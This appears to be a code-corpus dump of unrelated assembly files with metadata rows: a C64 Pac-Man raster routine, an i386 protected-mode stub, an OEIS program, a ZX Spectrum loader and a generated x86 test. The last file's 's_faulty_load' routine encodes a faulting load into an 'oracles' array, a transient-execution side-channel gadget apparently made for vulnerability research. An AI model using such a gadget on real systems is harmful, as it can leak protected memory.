.for(var bob=0;bob<NUM_BOBS; bob++) {
// char * left_render_index_xcol = (char*){ (>RENDER_INDEX) + xcol, yfine };
// char * rigt_render_index_xcol = (char*){ (>RENDER_INDEX) + xcol+1, yfine };
//LOGIC_BEGIN(6)
//inc $d021
//LOGIC_END()
LOGIC_BEGIN(14)
lda #>RENDER_INDEX
adc bobs_xcol+bob
sta.z left_render_index_xcol+1
adc #1
sta.z rigt_render_index_xcol+1
LOGIC_END()
LOGIC_BEGIN(10)
lda bobs_yfine+bob
sta.z left_render_index_xcol
sta.z rigt_render_index_xcol
LOGIC_END()
// char * left_canvas = (char*){ left_render_index_xcol[85], left_render_index_xcol[0] };
// bob_restore[0] = <left_canvas; bob_restore[1] = >left_canvas;
// char * rigt_canvas = (char*){ rigt_render_index_xcol[85], rigt_render_index_xcol[0] };
// bob_restore[3] = <rigt_canvas; bob_restore[4] = >rigt_canvas;
LOGIC_BEGIN(3)
ldx bobs_restore_base
LOGIC_END()
LOGIC_BEGIN(2)
ldy #RENDER_OFFSET_CANVAS_LO
LOGIC_END()
LOGIC_BEGIN(13)
lda (left_render_index_xcol),y
sta.z left_canvas
sta bobs_restore+SIZE_BOB_RESTORE*bob+0,x
LOGIC_END()
LOGIC_BEGIN(13)
lda (rigt_render_index_xcol),y
sta.z rigt_canvas
sta bobs_restore+SIZE_BOB_RESTORE*bob+3,x
LOGIC_END()
LOGIC_BEGIN(2)
ldy #RENDER_OFFSET_CANVAS_HI
LOGIC_END()
LOGIC_BEGIN(16)
lda (left_render_index_xcol),y
adc canvas_base_hi
sta.z left_canvas+1
sta bobs_restore+SIZE_BOB_RESTORE*bob+1,x
LOGIC_END()
LOGIC_BEGIN(16)
lda (rigt_render_index_xcol),y
adc canvas_base_hi
sta.z rigt_canvas+1
sta bobs_restore+SIZE_BOB_RESTORE*bob+4,x
LOGIC_END()
// char left_ypos_inc_offset = left_render_index_xcol[170];
// bob_restore[2] = left_ypos_inc_offset;
// char rigt_ypos_inc_offset = rigt_render_index_xcol[170];
// bob_restore[5] = rigt_ypos_inc_offset;
LOGIC_BEGIN(2)
ldy #RENDER_OFFSET_YPOS_INC
LOGIC_END()
LOGIC_BEGIN(13)
lda (left_render_index_xcol),y
sta.z left_ypos_inc_offset
sta bobs_restore+SIZE_BOB_RESTORE*bob+2,x
LOGIC_END()
LOGIC_BEGIN(13)
lda (rigt_render_index_xcol),y
sta.z rigt_ypos_inc_offset
sta bobs_restore+SIZE_BOB_RESTORE*bob+5,x
LOGIC_END()
// Render Bob Rows
LOGIC_BEGIN(2)
ldy #0
LOGIC_END()
.for(var row=0;row<6;row++) {
//left_canvas += RENDER_YPOS_INC[left_ypos_inc_offset++];
LOGIC_BEGIN(3)
ldx.z left_ypos_inc_offset
LOGIC_END()
LOGIC_BEGIN(18)
lda RENDER_YPOS_INC,x
adc.z left_canvas
sta.z left_canvas
lda.z left_canvas+1
adc #0
sta.z left_canvas+1
LOGIC_END()
LOGIC_BEGIN(5)
inc.z left_ypos_inc_offset
LOGIC_END()
//rigt_canvas += RENDER_YPOS_INC[rigt_ypos_inc_offset++];
LOGIC_BEGIN(3)
ldx.z rigt_ypos_inc_offset
LOGIC_END()
LOGIC_BEGIN(18)
lda RENDER_YPOS_INC,x
adc.z rigt_canvas
sta.z rigt_canvas
lda.z rigt_canvas+1
adc #0
sta.z rigt_canvas+1
LOGIC_END()
LOGIC_BEGIN(5)
inc.z rigt_ypos_inc_offset
LOGIC_END()
// bob_restore[6] = *left_canvas;
// *left_canvas = *left_canvas & BOB_MASK_LEFT_0[bob_id] | BOB_PIXEL_LEFT_0[bob_id];
LOGIC_BEGIN(3)
ldx bobs_restore_base
LOGIC_END()
LOGIC_BEGIN(10)
lda (left_canvas),y
sta bobs_restore+SIZE_BOB_RESTORE*bob+6+row,x
LOGIC_END()
LOGIC_BEGIN(10)
lda (rigt_canvas),y
sta bobs_restore+SIZE_BOB_RESTORE*bob+12+row,x
LOGIC_END()
LOGIC_BEGIN(4)
ldx bobs_bob_id+bob
LOGIC_END()
LOGIC_BEGIN(19)
lda (left_canvas),y
and BOB_MASK_LEFT+row*BOB_ROW_SIZE,x
ora BOB_PIXEL_LEFT+row*BOB_ROW_SIZE,x
sta (left_canvas),y
LOGIC_END()
// bob_restore[7] = *rigt_canvas;
// *rigt_canvas = *rigt_canvas & BOB_MASK_RIGT_0[bob_id] | BOB_PIXEL_RIGT_0[bob_id];
LOGIC_BEGIN(19)
lda (rigt_canvas),y
and BOB_MASK_RIGT+row*BOB_ROW_SIZE,x
ora BOB_PIXEL_RIGT+row*BOB_ROW_SIZE,x
sta (rigt_canvas),y
LOGIC_END()
}
}
//LOGIC_BEGIN(6)
//lda #0
//sta $d021
//LOGIC_END()
LOGIC_BEGIN(0) // end of logic code
}
// Raster-code for displaying 9 sprites on the entire screen - with open side borders
// The uncrunched code will be merged with logic code using code-merger.c
// The unmerged raster-code is identical for both buffers!
RASTER_CODE_CRUNCHED:
.macro RASTER_CYCLES(cycles) {
.byte $ff, cycles
}
.modify B2() {
.pc = RASTER_CODE_UNMERGED "RASTER CODE UNMERGED"
RASTER_CYCLES(29)
// Line 7 cycle 44
// Raster Line
.var raster_line = 7
// Line in the sprite
.var sprite_line = 20
// Current sprite ypos
.var sprite_ypos = 7
// Current sprite screen (graphics bank not important since sprite layout in the banks is identical)
.var sprite_screen = SCREENS_1
.var available_cycles = 0;
.for(var i=0;i<293;i++) {
// Line cycle count
.var line_cycles = 46
.if(raster_line>=70 && raster_line<238) {
// Only 2 sprites on these lines - so more cycles available
.eval line_cycles = 58
}
// Create 9th sprite by moving sprite 0
.if(mod(raster_line,2)==0) {
lda #$6f
sta $d000
} else {
lda #$e7
sta $d000
}
.eval line_cycles -= 6;
lda #$8
// Cycle 50. LSR abs is a 6 cycle RWM instruction.
lsr VICII_CONTROL2
sta VICII_CONTROL2
.eval line_cycles -= 12;
.eval raster_line++
.eval sprite_line++
.if(sprite_line==21) {
.eval sprite_line = 0
.eval sprite_ypos += 21
}
// Set sprite single-color mode on splash
.if(raster_line==53) {
lda side_sprites_mc
sta $d01c
lda side_sprites_color
sta $d027
sta $d028
.eval line_cycles -= 18
}
// Set sprite multi-color mode on splash
.if(raster_line==248) {
lda bottom_sprites_mc
sta $d01c
lda bottom_sprites_color
sta $d027
sta $d028
.eval line_cycles -= 18
//.print "raster:"+raster_line+" multi-color"
}
// Open top border
.if(raster_line==55) {
lda #VICII_RSEL|VICII_ECM|VICII_BMM|7
sta VICII_CONTROL1
.eval line_cycles -= 6
//.print "raster:"+raster_line+" top border rsel=1"
}
// Open bottom border
.if(raster_line==250) {
lda #VICII_ECM|VICII_BMM|7 // DEN=0, RSEL=0
sta VICII_CONTROL1
.eval line_cycles -= 6
//.print "raster:"+raster_line+" bottom border rsel=0"
}
// Move sprites down
.if(sprite_line>=2 && sprite_line<=9) {
.if(sprite_ypos<300) {
.var sprite_id = sprite_line-2
.if(sprite_id==0 || sprite_id==1 || sprite_ypos<=55 || sprite_ypos>=(246-21)) {
lda #sprite_ypos
sta SPRITES_YPOS+2*sprite_id
.eval line_cycles -= 6;
//.print "raster:"+raster_line+" sprite:"+sprite_id+" ypos:"+sprite_ypos
}
}
}
// Change sprite data
.if(sprite_line==20) {
.eval sprite_screen += $400
lda #sprite_screen/$40
sta VICII_MEMORY
.eval line_cycles -= 6
//.print "raster:"+raster_line+" sprite data $"+toHexString(sprite_screen)
}
// Spend the rest of the cycles on NOPS
.if(line_cycles<0 || line_cycles==1) .error "Too many cycles spent on line "+raster_line
.if(line_cycles>0) {
//.print "raster:"+raster_line+" cycles $"+toHexString(line_cycles)
RASTER_CYCLES(line_cycles)
.eval line_cycles -= line_cycles
.eval available_cycles += line_cycles
}
}
//.print "Available cycles: "+available_cycles
lda #$6f
sta $d000
lda #$8
// Cycle 50. LSR abs is a 6 cycle RWM instruction.
lsr VICII_CONTROL2
sta VICII_CONTROL2
RASTER_CYCLES(00) // End of raster code
}
// SID tune
// Pacman 2 channel music by Metal/Camelot
INTRO_MUSIC_CRUNCHED:
.modify B2() {
.pc = INTRO_MUSIC "INTRO MUSIC"
.const music = LoadBinary("pacman-2chn-simpler.prg", BF_C64FILE)
.fill music.getSize(), music.get(i)
}
.segment Data
// Offset of the LEVEL_TILE data within the LEVEL_TILE data (each row is 64 bytes of data)
LEVEL_YTILE_OFFSET: .word 0, $40, $80, $c0, $100, $140, $180, $1c0, $200, $240, $280, $2c0, $300, $340, $380, $3c0, $400, $440, $480, $4c0, $500, $540, $580, $5c0, $600, $640, $680, $6c0, $700, $740, $780, $7c0, $800, $840, $880, $8c0, $900
// Used to choose a single direction when presented with multiple potential directions.
// Used to eliminate diagonal joy directions and convert them to a single direction
// Priority: (4)up, (8)down, (16)left, (32)right
.align $40
DIRECTION_SINGLE: .byte 0, 0, 0, 0, 4, 4, 4, 4, 8, 8, 8, 8, 4, 4, 4, 4, $10, $10, $10, $10, 4, 4, 4, 4, 8, 8, 8, 8, 4, 4, 4, 4, $20, $20, $20, $20, 4, 4, 4, 4, 8, 8, 8, 8, 4, 4, 4, 4, $10, $10, $10, $10, 4, 4, 4, 4, 8, 8, 8, 8, 4, 4, 4, 4
// Used to eliminate a single direction (the one that the ghost came from)
// The value DIRECTION_ELIMINATE[current_direction] is ANDed onto the open directions to remove the current direction
.align $40
DIRECTION_ELIMINATE: .byte $ff, 0, 0, 0, $f7, 0, 0, 0, $fb, 0, 0, 0, 0, 0, 0, 0, $df, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, $ef
// Used to reverse direction direction (when a ghost changes between chase and scatter)
.align $40
DIRECTION_REVERSE: .byte 0, 0, 0, 0, 8, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, $20, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, $10
// The animation frames for pacman. The index into this is DIRECTION + anim_frame_idx.
.align $40
pacman_frames: .byte 8, 8, 8, 8, 8, $18, $14, $18, 8, $20, $1c, $20, 0, 0, 0, 0, 8, 4, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 8, $c, $10, $c
// The animation frames for ghost. The index into thos is DIRECTION + anim_frame_idx.
.align $80
ghost_frames: .byte 0, 0, 0, 0, $3c, $40, $3c, $40, $34, $38, $34, $38, 0, 0, 0, 0, $2c, $30, $2c, $30, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, $24, $28, $24, $28, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, $5c, $60, $5c, $60, $54, $58, $54, $58, 0, 0, 0, 0, $4c, $50, $4c, $50, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, $44, $48, $44, $48
// Lookup the absolute value of a signed number
// PRE_ and POST_ are used to ensure lookup of ABS-1,y works for y=0 and ABS+1,y works for y=0xff
.align $100
ABS_PRE: .byte 1
ABS:
.for(var i=0;i<$100;i++) {
.var x = (i<$80)?i:($100-i);
.byte abs(x)
}
ABS_POST: .byte 0
| 28.633585 | 1,333 | 0.615217 |
0e478c9f759aa09aa9c145e05c2fbac64266b8cb | 476 | asm | Assembly | src/kernel/arch/i386/cpu/I386CPUAsm.asm | jameskingstonclarke/arctic | 6fec04809d6175689477abfe21416f33e63cb177 | [
"MIT"
] | 1 | 2021-02-01T19:28:02.000Z | 2021-02-01T19:28:02.000Z | src/kernel/arch/i386/cpu/I386CPUAsm.asm | jameskingstonclarke/arctic | 6fec04809d6175689477abfe21416f33e63cb177 | [
"MIT"
] | 9 | 2021-02-07T15:46:11.000Z | 2021-02-18T08:25:42.000Z | src/kernel/arch/i386/cpu/I386CPUAsm.asm | jameskingstonclarke/arctic | 6fec04809d6175689477abfe21416f33e63cb177 | [
"MIT"
] | null | null | null | section .text
global enter_protected
enter_protected:
call setup_a20
mov eax, cr0
or eax, 0x1
mov cr0, eax
jmp 0x8:update_registers
; this allows us to use more than 20 lines of memory
setup_a20:
in al, 0x92
or al, 2
out 0x92, al
ret
; set the data segment registers to the GDT data segment
update_registers:
mov ax, 0x10
mov ds, ax
mov ss, ax
mov es, ax
mov fs, ax
mov gs, ax
ret | 17 | 57 | 0.609244 |
d948412cdddb2740b231cf81f9748a77f9d1850c | 610 | asm | Assembly | programs/oeis/260/A260181.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/260/A260181.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/260/A260181.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A260181: Numbers whose last digit is prime.
; 2,3,5,7,12,13,15,17,22,23,25,27,32,33,35,37,42,43,45,47,52,53,55,57,62,63,65,67,72,73,75,77,82,83,85,87,92,93,95,97,102,103,105,107,112,113,115,117,122,123,125,127,132,133,135,137,142,143,145,147,152,153,155,157,162,163,165,167,172,173,175,177,182,183,185,187,192,193,195,197,202,203,205,207,212,213,215,217,222,223,225,227,232,233,235,237,242,243,245,247
mov $1,$0
mul $0,6
div $0,4
add $0,$1
add $0,2
mod $1,4
sub $0,$1
sub $0,1
seq $1,336551 ; a(n) = A003557(n) - 1.
seq $1,5 ; d(n) (also called tau(n) or sigma_0(n)), the number of divisors of n.
add $0,$1
| 40.666667 | 357 | 0.672131 |
95545b02b18801ae1002a41b2bf4b9fed5c64829 | 1,378 | asm | Assembly | loaders_patches_etc/overlay_manager_ninja_hamst128.asm | alexanderbazhenoff/zx-spectrum-various | 80cf61cb8cc6f9b5b1cd6ce9b0e394323afe346e | [
"MIT"
] | null | null | null | loaders_patches_etc/overlay_manager_ninja_hamst128.asm | alexanderbazhenoff/zx-spectrum-various | 80cf61cb8cc6f9b5b1cd6ce9b0e394323afe346e | [
"MIT"
] | null | null | null | loaders_patches_etc/overlay_manager_ninja_hamst128.asm | alexanderbazhenoff/zx-spectrum-various | 80cf61cb8cc6f9b5b1cd6ce9b0e394323afe346e | [
"MIT"
] | null | null | null | DISPLAY "OVERLAY MANAGER FOR NINJA HAMSTER GAME. 128K MODE"
ORG #FF00
DISP #4900
DI
LD (STEK),SP
LD SP,#4900
LD A,(#6D69)
SRL A
LD HL,TABL
ADD A,L
LD L,A
PUSH IY
PUSH HL
POP IY
LD HL,#E600
LD BC,#A00
CALL MOV_DEP
LD HL,#C4E0
LD DE,#6590
LD BC,#1A9
PUSH BC
LDIR
LD HL,#C6E0
LD DE,#A12C
POP BC
LDIR
LD HL,#C8E0
LD DE,#AF32
LD C,#85
LDIR
LD HL,#C9E0
LD DE,#B3B0
LD BC,#6FF
LDIR
LD HL,#C000
LD BC,#2600
CALL MOV_DEP
LD HL,#F000
LD IX,#FD38
LD BC,#100
CALL MOV
POP IY
LD SP,#3131
STEK EQU $-2
EI
HALT
NOP
NOP
NOP
RET
TABL DB #11+8,#13+8,#14+8,#16+8
MOV_DEP LD IX,#C4E0
PUSH IX
CALL MOV
POP HL
JP #40B9
MOV LD D,(IY)
LD E,#18
PUSH IY
PUSH HL
POP IY
EX DE,HL
MOV_L PUSH BC
LD BC,#7FFD
OUT (C),H
LD A,(IY)
OUT (C),L
LD (IX),A
INC IY
INC IX
POP BC
DEC BC
LD A,B
OR C
JR NZ,MOV_L
POP IY
RET
| 16.804878 | 60 | 0.387518 |
08f06c65f592b33c51260541ea5e626a7b8bcf00 | 827 | asm | Assembly | oeis/142/A142692.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/142/A142692.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/142/A142692.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A142692: Primes congruent to 44 mod 57.
; Submitted by Jon Maiga
; 101,443,557,1013,1583,1697,1811,2039,2153,2267,2381,2609,2837,3407,3863,4091,4547,4889,5003,5231,5573,5801,6029,6143,6257,6599,6827,7283,7853,8081,8423,8537,9221,9677,9791,10133,10247,10589,11159,11273,12071,12413,12527,12641,12983,13553,13781,14009,15149,15263,15377,16061,16631,17657,18341,18797,18911,19139,19709,19937,20051,20393,20507,20849,20963,21191,21419,21647,22787,22901,23357,23813,24611,24953,25409,25523,26321,26777,26891,27689,27803,27917,28031,29399,29741,30197,30539,30881,31223
mov $1,50
mov $2,$0
add $2,2
pow $2,2
lpb $2
sub $2,1
mov $3,$1
mul $3,2
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,57
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
mov $0,$1
mul $0,2
sub $0,113
| 34.458333 | 497 | 0.729141 |
f4267c1c64f617cb132f024712738eee9b95e769 | 8,754 | asm | Assembly | Transynther/x86/_processed/NC/_st_zr_4k_sm_/i3-7100_9_0x84_notsx.log_13556_2841.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NC/_st_zr_4k_sm_/i3-7100_9_0x84_notsx.log_13556_2841.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NC/_st_zr_4k_sm_/i3-7100_9_0x84_notsx.log_13556_2841.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r8
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x326e, %r8
clflush (%r8)
nop
nop
nop
nop
nop
add %rdx, %rdx
mov $0x6162636465666768, %rdi
movq %rdi, (%r8)
nop
nop
nop
nop
nop
sub $8835, %r8
lea addresses_UC_ht+0x1326e, %rbp
nop
nop
nop
nop
inc %r10
movb $0x61, (%rbp)
nop
dec %rbx
lea addresses_D_ht+0x14a6e, %r8
nop
nop
nop
nop
cmp $26905, %r9
mov (%r8), %r10d
nop
nop
and %rdx, %rdx
lea addresses_normal_ht+0x18dce, %rbx
nop
nop
nop
nop
nop
xor $13640, %r8
mov $0x6162636465666768, %rdi
movq %rdi, (%rbx)
nop
nop
nop
nop
nop
cmp %r10, %r10
lea addresses_D_ht+0xd66e, %r10
nop
nop
cmp $8750, %rbx
mov (%r10), %r9w
nop
nop
nop
cmp %r10, %r10
lea addresses_A_ht+0x296e, %r8
clflush (%r8)
nop
nop
nop
nop
nop
xor %rdx, %rdx
movb (%r8), %bl
nop
nop
nop
sub $60228, %r10
lea addresses_WC_ht+0x15e6e, %r9
nop
xor $40504, %rdx
movw $0x6162, (%r9)
nop
nop
nop
nop
xor $3870, %r8
lea addresses_WT_ht+0x1d1ee, %r8
nop
nop
nop
nop
nop
cmp %rdi, %rdi
movw $0x6162, (%r8)
nop
dec %r8
lea addresses_WC_ht+0xc7ac, %r10
clflush (%r10)
nop
nop
nop
nop
cmp $39346, %rdi
mov $0x6162636465666768, %r9
movq %r9, (%r10)
nop
nop
nop
dec %rdx
lea addresses_A_ht+0x1a86e, %rdi
nop
nop
nop
and $65439, %r8
vmovups (%rdi), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $0, %xmm4, %r10
nop
add %rbp, %rbp
lea addresses_WT_ht+0x1ccee, %rbx
nop
nop
xor %r9, %r9
mov (%rbx), %r8d
nop
and %r10, %r10
lea addresses_WC_ht+0x1026e, %r10
nop
nop
nop
xor $46171, %rdx
movups (%r10), %xmm1
vpextrq $0, %xmm1, %r8
nop
nop
nop
nop
and %r10, %r10
lea addresses_normal_ht+0x7102, %r8
nop
nop
nop
nop
nop
xor %r9, %r9
movups (%r8), %xmm7
vpextrq $1, %xmm7, %rdi
nop
and %r9, %r9
lea addresses_A_ht+0x14a6e, %rsi
lea addresses_A_ht+0x1790e, %rdi
nop
nop
dec %rdx
mov $126, %rcx
rep movsb
nop
nop
nop
nop
xor %rcx, %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r8
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r13
push %r14
push %rcx
push %rdi
// Store
lea addresses_WT+0xa46e, %rcx
add %r14, %r14
mov $0x5152535455565758, %rdi
movq %rdi, %xmm0
vmovups %ymm0, (%rcx)
add $46506, %r14
// Store
lea addresses_normal+0x15d6e, %r13
clflush (%r13)
nop
nop
nop
nop
nop
sub $51571, %r12
mov $0x5152535455565758, %rdi
movq %rdi, %xmm2
vmovups %ymm2, (%r13)
nop
nop
nop
xor $48898, %r13
// Store
lea addresses_UC+0x14a6e, %r10
cmp %r12, %r12
mov $0x5152535455565758, %r11
movq %r11, %xmm4
vmovups %ymm4, (%r10)
nop
nop
add %rcx, %rcx
// Store
mov $0x5ee, %r12
nop
nop
nop
nop
and %rcx, %rcx
movb $0x51, (%r12)
nop
nop
nop
nop
nop
cmp $40473, %r13
// Store
mov $0x5ba0340000000a6e, %rcx
clflush (%rcx)
nop
nop
add %r11, %r11
movw $0x5152, (%rcx)
nop
and %r11, %r11
// Faulty Load
mov $0x5ba0340000000a6e, %r11
sub $55000, %rcx
mov (%r11), %r13d
lea oracles, %r14
and $0xff, %r13
shlq $12, %r13
mov (%r14,%r13,1), %r13
pop %rdi
pop %rcx
pop %r14
pop %r13
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_NC', 'same': False, 'size': 2, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WT', 'same': False, 'size': 32, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_normal', 'same': False, 'size': 32, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC', 'same': False, 'size': 32, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_P', 'same': False, 'size': 1, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_NC', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_NC', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 8, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 1, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 4, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 8, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 2, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 2, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 8, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 32, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 4, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 16, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'}
{'00': 3134, '58': 4, '52': 10418}
00 52 52 52 00 00 00 00 00 52 52 52 52 52 52 52 52 52 52 00 52 52 52 00 00 52 00 52 00 52 52 52 52 00 52 00 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 00 00 00 52 00 52 52 52 00 52 00 52 52 52 52 52 00 00 00 52 00 52 52 52 52 00 00 00 52 52 52 52 52 52 52 52 00 52 00 52 52 52 52 00 52 52 00 52 52 52 52 52 00 52 52 52 52 52 00 52 00 00 52 00 52 00 00 00 00 00 52 52 52 52 52 00 52 00 00 52 00 52 00 00 52 00 52 52 00 00 52 00 00 00 52 00 52 52 52 00 52 00 00 52 52 52 00 00 52 00 00 52 00 52 00 00 52 52 52 52 00 00 52 00 52 00 52 52 52 52 00 52 00 00 52 52 52 52 52 00 52 52 00 52 00 52 52 00 52 52 52 00 00 52 52 52 00 00 00 52 52 00 52 00 00 52 52 52 00 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 00 00 52 52 52 00 52 52 52 52 00 52 52 52 52 00 52 00 52 52 52 52 52 52 00 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 00 52 00 52 52 52 52 00 52 52 00 52 00 52 00 00 52 52 00 52 52 00 52 00 00 00 00 52 00 00 00 52 52 52 52 52 52 52 00 00 52 52 52 52 00 00 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 00 52 00 52 00 52 00 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 00 00 00 52 52 52 52 00 00 52 52 00 00 00 00 52 52 52 00 00 52 52 52 52 52 00 52 52 52 52 52 52 52 00 52 00 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 00 00 52 52 52 52 52 52 52 52 00 52 52 52 52 00 00 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 00 00 52 52 52 52 52 52 52 52 52 00 00 00 52 52 52 52 52 52 00 52 52 52 00 52 52 52 52 52 52 52 52 52 00 52 52 52 00 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 00 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 00 52 52 52 52 52 52 00 52 00 52 52 52 52 52 52 52 00 52 00 00 52 52 52 52 52 52 52 52 52 00 00 00 52 52 52 52 52 00 52 52 52 00 52 00 00 52 52 52 52 52 00 52 52 00 52 52 52 52 52 52 52 52 00 52 52 00 00 52 52 52 52 52 00 00 52 52 00 52 52 52 00 52 00 00 00 52 52 52 52 52 00 00 00 00 52 52 00 52 00 00 52 52 52 52 52 52 00 52 52 52 52 52 52 52 00 00 00 00 52 52 00 52 52 00 00 52 00 52 52 52 52 00 52 52 52 52 52 52 52 52 00 00 52 00 52 00 52 52 52 52 52 00 52 52 00 52 52 52 00 52 52 52 52 52 52 52 52 00 00 00 00 52 00 52 52 52 52 52 52 00 52 52 52 00 00 52 52 52 52 52 52 52 00 00 00 52 00 52 00 52 52 52 52 52 52 00 00 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 00 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 00 00 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 00 00 00 52 52 00 52 52 52 52 52 00 52 00 52 52 52 52 52 52 00 00 00 00 00 52 52 52 52 52 52 52 52 52 52 00 52 00 52 52 52 52 00 52 52 00 52 52 00 52 52 52 52 52 00 52 00 52 00 52 00 52 52 52 52 52 52 52 00 00 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00
*/
| 29.674576 | 2,999 | 0.650217 |
